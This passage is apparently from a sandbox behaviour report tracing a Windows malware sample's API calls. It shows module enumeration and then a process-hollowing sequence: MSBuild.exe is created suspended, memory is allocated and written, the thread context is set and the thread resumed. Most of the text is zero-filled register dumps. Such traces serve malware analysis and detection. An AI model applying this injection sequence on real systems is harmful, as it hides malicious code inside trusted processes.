lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0034.337] GetLastError () returned 0x7f [0034.337] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x2861768, cb=0xc | out: lpmodinfo=0x2861768*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0034.338] GetLastError () returned 0x7f [0034.338] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0034.339] GetLastError () returned 0x7f [0034.339] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0034.339] GetLastError () returned 0x7f [0034.339] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x286294c, cb=0xc | out: lpmodinfo=0x286294c*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0034.340] GetLastError () returned 0x7f [0034.340] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0034.341] GetLastError () returned 0x7f [0034.341] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0034.341] GetLastError () returned 0x7f [0034.341] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x2863aec, cb=0xc | out: lpmodinfo=0x2863aec*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0034.342] GetLastError () returned 0x7f [0034.342] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0034.343] GetLastError () returned 0x7f [0034.343] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0034.343] GetLastError () returned 0x7f [0034.343] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x2864d10, cb=0xc | out: lpmodinfo=0x2864d10*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0034.344] GetLastError () returned 0x7f [0034.344] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0034.345] GetLastError () returned 0x7f [0034.345] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0034.345] GetLastError () returned 0x7f [0034.346] CloseHandle (hObject=0x200) returned 1 [0034.346] GetLastError () returned 0x7f [0034.360] CreateProcessA (in: lpApplicationName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x360380*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30cf08 | out: lpCommandLine="\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe\"", lpProcessInformation=0x30cf08*(hProcess=0x204, hThread=0x200, dwProcessId=0xb18, dwThreadId=0xb1c)) returned 1 [0034.405] GetThreadContext (in: hThread=0x200, lpContext=0x2925bbc | out: lpContext=0x2925bbc*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xbd2de, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0034.405] ReadProcessMemory (in: hProcess=0x204, lpBaseAddress=0x7efde008, lpBuffer=0x30cef4, nSize=0x4, lpNumberOfBytesRead=0x30cf18 | out: lpBuffer=0x30cef4*, lpNumberOfBytesRead=0x30cf18*=0x4) returned 1 [0034.405] VirtualAllocEx (hProcess=0x204, lpAddress=0x400000, dwSize=0x58000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0034.405] WriteProcessMemory (in: hProcess=0x204, lpBaseAddress=0x400000, lpBuffer=0x3a65fc8*, nSize=0x200, lpNumberOfBytesWritten=0x30cf18 | out: lpBuffer=0x3a65fc8*, lpNumberOfBytesWritten=0x30cf18*=0x200) returned 1 [0034.410] WriteProcessMemory (in: hProcess=0x204, lpBaseAddress=0x402000, lpBuffer=0x3ab6de8*, nSize=0x50400, lpNumberOfBytesWritten=0x30cf18 | out: lpBuffer=0x3ab6de8*, lpNumberOfBytesWritten=0x30cf18*=0x50400) returned 1 [0034.417] WriteProcessMemory (in: hProcess=0x204, lpBaseAddress=0x454000, lpBuffer=0x2925e94*, nSize=0x600, lpNumberOfBytesWritten=0x30cf18 | out: lpBuffer=0x2925e94*, lpNumberOfBytesWritten=0x30cf18*=0x600) returned 1 [0034.417] WriteProcessMemory (in: hProcess=0x204, lpBaseAddress=0x456000, lpBuffer=0x29264a0*, nSize=0x200, lpNumberOfBytesWritten=0x30cf18 | out: lpBuffer=0x29264a0*, lpNumberOfBytesWritten=0x30cf18*=0x200) returned 1 [0034.417] WriteProcessMemory (in: hProcess=0x204, lpBaseAddress=0x7efde008, lpBuffer=0x29266ac*, nSize=0x4, lpNumberOfBytesWritten=0x30cf18 | out: lpBuffer=0x29266ac*, lpNumberOfBytesWritten=0x30cf18*=0x4) returned 1 [0034.418] SetThreadContext (hThread=0x200, lpContext=0x2925bbc*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x45224e, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0034.418] ResumeThread (hThread=0x200) returned 0x1 [0034.419] CoGetContextToken (in: pToken=0x30fdd4 | out: pToken=0x30fdd4) returned 0x0 [0034.420] CObjectContext::QueryInterface () returned 0x0 [0034.420] CObjectContext::GetCurrentThreadType () returned 0x0 [0034.420] Release () returned 0x0 [0034.421] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x33c0d0*=0x98, lpdwindex=0x30fc40 | out: lpdwindex=0x30fc40) returned 0x0 Thread: id = 2 os_tid = 0xa74 Thread: id = 3 os_tid = 0xa78 [0030.916] CoGetContextToken (in: pToken=0xf6f558 | out: pToken=0xf6f558) returned 0x800401f0 [0030.917] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0033.636] FindAtomW (lpString="GDI+Atom_2656_1") returned 0xc000 [0033.637] GetLastError () returned 0x0 [0033.637] GdipDisposeImage (image=0x1272f08) returned 0x0 [0033.641] GetLastError () returned 0x0 [0034.474] DeleteAtom (nAtom=0xc000) returned 0x0 [0034.474] GetLastError () returned 0x0 [0034.474] FindAtomW (lpString="GDI+Atom_2656_1") returned 0x0 [0034.474] GetLastError () returned 0x2 [0034.476] FindAtomW (lpString="GDI+Atom_2656_1") returned 0x0 [0034.476] GetLastError () returned 0x2 [0034.477] CloseHandle (hObject=0x1ac) returned 1 [0034.477] GetLastError () returned 0x2 [0034.477] UnmapViewOfFile (lpBaseAddress=0xe40000) returned 1 Thread: id = 4 os_tid = 0xa7c Thread: id = 5 os_tid = 0xa80 Thread: id = 6 os_tid = 0xa84 Thread: id = 8 os_tid = 0xb20 Thread: id = 9 os_tid = 0xb24 Thread: id = 12 os_tid = 0xb30 Thread: id = 13 os_tid = 0xb34 Process: id = "2" image_name = "msbuild.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe" page_root = "0x4dd93000" os_pid = "0xb18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa60" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = 